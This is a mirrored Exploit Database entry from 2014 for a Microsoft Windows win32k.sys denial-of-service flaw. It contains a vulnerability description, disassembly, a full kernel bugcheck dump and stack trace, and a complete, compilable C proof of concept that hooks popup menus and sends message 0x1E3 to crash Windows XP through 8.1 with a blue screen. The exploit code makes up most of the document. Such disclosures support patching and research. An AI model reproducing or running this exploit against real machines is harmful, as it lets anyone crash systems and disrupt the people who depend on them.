Microsoft Windows – ‘win32k.sys’ Denial of Service

• Exploit Database
• 13 阅读

• 作者： Kedamsky
  日期： 2014-11-22
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35326/

• # Exploit Title: Microsoft Windows Win32k.sys Denial of Service
  # Date: 20-11-2014
  # Exploit Author: Kedamsky (kedamsky@mail.ru)
  # Vendor Homepage: http://microsoft.com
  # Software Link: http://www.microsoft.com/en-us/download/windows.aspx
  # Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64)
  # Tested on: [XP to 8.1 x86/x64]
  
  Microsoft Windows win32k.sys DoS exploit
  by Kedamsky
  mailto:kedamsky@mail.ru
  
  
  =========================
  Vulnerability Description
  =========================
  
  The vulnerability exists in the function win32k!xxxMenuWindowProc. It
  calls the function win32k!xxxMNOpenHierarchy that can return valid
  pointer to data and 0 or -1 otherwise. The function
  win32k!xxxMenuWindowProc does not validate the result of
  win32k!xxxMNOpenHierarchy properly and it is possible to try to read
  data from address -1.
  
  
  ===============
  Vulnerable code
  ===============
  8f584e72 85c0 test eax,eax
  8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371)
  8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1
  ...
  8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260)
  8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72)
  
  
  ================
  Typical bugcheck
  ================
  
  *******************************************************************************
  * *
  * Bugcheck Analysis *
  * *
  *******************************************************************************
  
  PAGE_FAULT_IN_NONPAGED_AREA (50)
  Invalid system memory was referenced. This cannot be protected by try-except,
  it must be protected by a Probe. Typically the address is just plain bad or it
  is pointing at freed memory.
  Arguments:
  Arg1: ffffffff, memory referenced.
  Arg2: 00000000, value 0 = read operation, 1 = write operation.
  Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory
  address.
  Arg4: 00000000, (reserved)
  
  Debugging Details:
  ------------------
  
  
  READ_ADDRESS: ffffffff 
  
  FAULTING_IP: 
  win32k!xxxMenuWindowProc+a09
  8f584e7a 8b00 mov eax,dword ptr [eax]
  
  MM_INTERNAL_CODE: 0
  
  IMAGE_NAME: win32k.sys
  
  DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60
  
  MODULE_NAME: win32k
  
  FAULTING_MODULE: 8f480000 win32k
  
  DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
  
  BUGCHECK_STR: 0x50
  
  PROCESS_NAME: DOS3_1E3.exe
  
  CURRENT_IRQL: 2
  
  TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64)
  ErrCode = 00000000
  eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270
  eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc
  cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
  win32k!xxxMenuWindowProc+0xa09:
  8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=????????
  Resetting default scope
  
  LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98
  
  STACK_TEXT: 
  9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction
  9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c
  9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d
  9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a
  9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc
  9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09
  9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4
  9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c
  9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27
  9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6
  9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a
  0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet
  0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc
  0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5
  0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c
  0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22
  0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100
  0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21
  0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24
  0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e
  0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc
  0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68
  0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23
  0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b
  0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7
  0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c
  0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41
  0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7
  0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910
  0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c
  0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23
  0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b
  0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322
  0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf
  0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d
  0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238]
  0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe
  0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23
  0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b
  
  
  STACK_COMMAND: kb
  
  FOLLOWUP_IP: 
  win32k!xxxMenuWindowProc+a09
  8f584e7a 8b00 mov eax,dword ptr [eax]
  
  SYMBOL_STACK_INDEX: 5
  
  SYMBOL_NAME: win32k!xxxMenuWindowProc+a09
  
  FOLLOWUP_NAME: MachineOwner
  
  FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09
  
  BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09
  
  Followup: MachineOwner
  ---------
  
  
  ================
  Proof of Concept
  ================
  
  //#include "stdafx.h"
  #include <windows.h>
  
  #define BSOD_BUTTON 0x9876
  
  HMENU hMenu[3];
  ULONG MenuLevel = 0;
  HWND hTargetMenuWnd = 0;
  
  void KeyEvent()
  {
  	INPUT input;
  	memset(&input, 0, sizeof(input));
   	input.type = INPUT_KEYBOARD;
  	input.ki.wVk = VkKeyScanA('1');
   
   	SendInput(1, &input, sizeof(input));
  
   	Sleep(50);
   
   	memset(&input, 0, sizeof(input));
  	input.type = INPUT_KEYBOARD;
  	input.ki.wVk = VkKeyScanA('1');
  	input.ki.dwFlags = KEYEVENTF_KEYUP;
  	SendInput(1, &input, sizeof(input));
  }
  
  LRESULT CALLBACK HookProc(
  	int nCode, 
  	WPARAM wParam,
  	LPARAM lParam)
  {
  	if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL)
  	{
  		return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0);
  	}
  
  	return 0;
  }
  
  VOID CALLBACK WinEventProc(
  	HWINEVENTHOOK hWinEventHook, 
  	DWORD event, 
  	HWND hWnd, 
  	LONG idObject, 
  	LONG idChild, 
  	DWORD idEventThread, 
  	DWORD dwmsEventTime)
  {
  	++MenuLevel;
  		
  	if (MenuLevel == 1)
  	{
  		KeyEvent();
  	}
  	else if (MenuLevel == 2)
  	{
  		SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
  			
  		hTargetMenuWnd = hWnd;
  		SendMessage(hTargetMenuWnd, 0x1F2, 0, 0);
  	}
  }
  
  LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  {
  	switch (message)
  	{
  	case WM_COMMAND:
  		if (LOWORD(wParam) == BSOD_BUTTON)
  		{
  			SetWinEventHook(
  				EVENT_SYSTEM_MENUPOPUPSTART, 
  				EVENT_SYSTEM_MENUPOPUPSTART,
  				GetModuleHandleA(NULL),
  				WinEventProc,
  				GetCurrentProcessId(),
  				GetCurrentThreadId(),
  				WINEVENT_OUTOFCONTEXT);
  
  			TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL);
  		}
  	case WM_DESTROY:
  		PostQuitMessage(0);
  		break;
  	default:
  		return DefWindowProcA(hWnd, message, wParam, lParam);
  	}
  
  	return 0;
  }
  
  int APIENTRY WinMain(
  	_In_ HINSTANCE hInstance, 
  	_In_opt_ HINSTANCE hPrevInstance, 
  	_In_ PSTR lpCmdLine, 
  	_In_ int nCmdShow)
  {
  WNDCLASSA Class;
  Class.style = 0;
  Class.lpfnWndProc = WndProc;
  Class.cbClsExtra = 0;
  Class.cbWndExtra = 0;
  Class.hInstance = GetModuleHandleA(NULL);
  Class.hIcon = NULL;
  	Class.hCursor = LoadCursor(0, IDC_ARROW);
  Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
  Class.lpszMenuName = NULL;
  Class.lpszClassName = "MyWinClass";
  
  	if (RegisterClassA(&Class) != NULL)
  	{
  		HWND hMainWnd = CreateWindowA(
  			"MyWinClass", 
  			"Microsoft Windows Win32k.sys Denial of Service Vulnerability", 
  			WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 
  			0, 0, 500, 200, 
  			NULL, 
  			NULL, 
  			hInstance, 
  			NULL);
  
  		if (hMainWnd != NULL)
  		{
  			HWND hButton = CreateWindowA(
  				"Button", 
  				"Click me to see BSOD", 
  				WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 
  				150, 50, 200, 50, 
  				hMainWnd, 
  				(HMENU)BSOD_BUTTON, 
  				hInstance, 
  				NULL);
  		
  			if (hButton != 0)
  			{
  				hMenu[0] = CreatePopupMenu();
  				hMenu[1] = CreatePopupMenu();
  				hMenu[2] = CreatePopupMenu();
  
  				AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1");
  				AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1");
  				AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1");
  
  				MSG msg;
  				while (GetMessage(&msg, NULL, 0, 0))
  				{
  					TranslateMessage(&msg);
  					DispatchMessage(&msg);
  				}
  			}
  		}
  	}
  
  return 0;
  }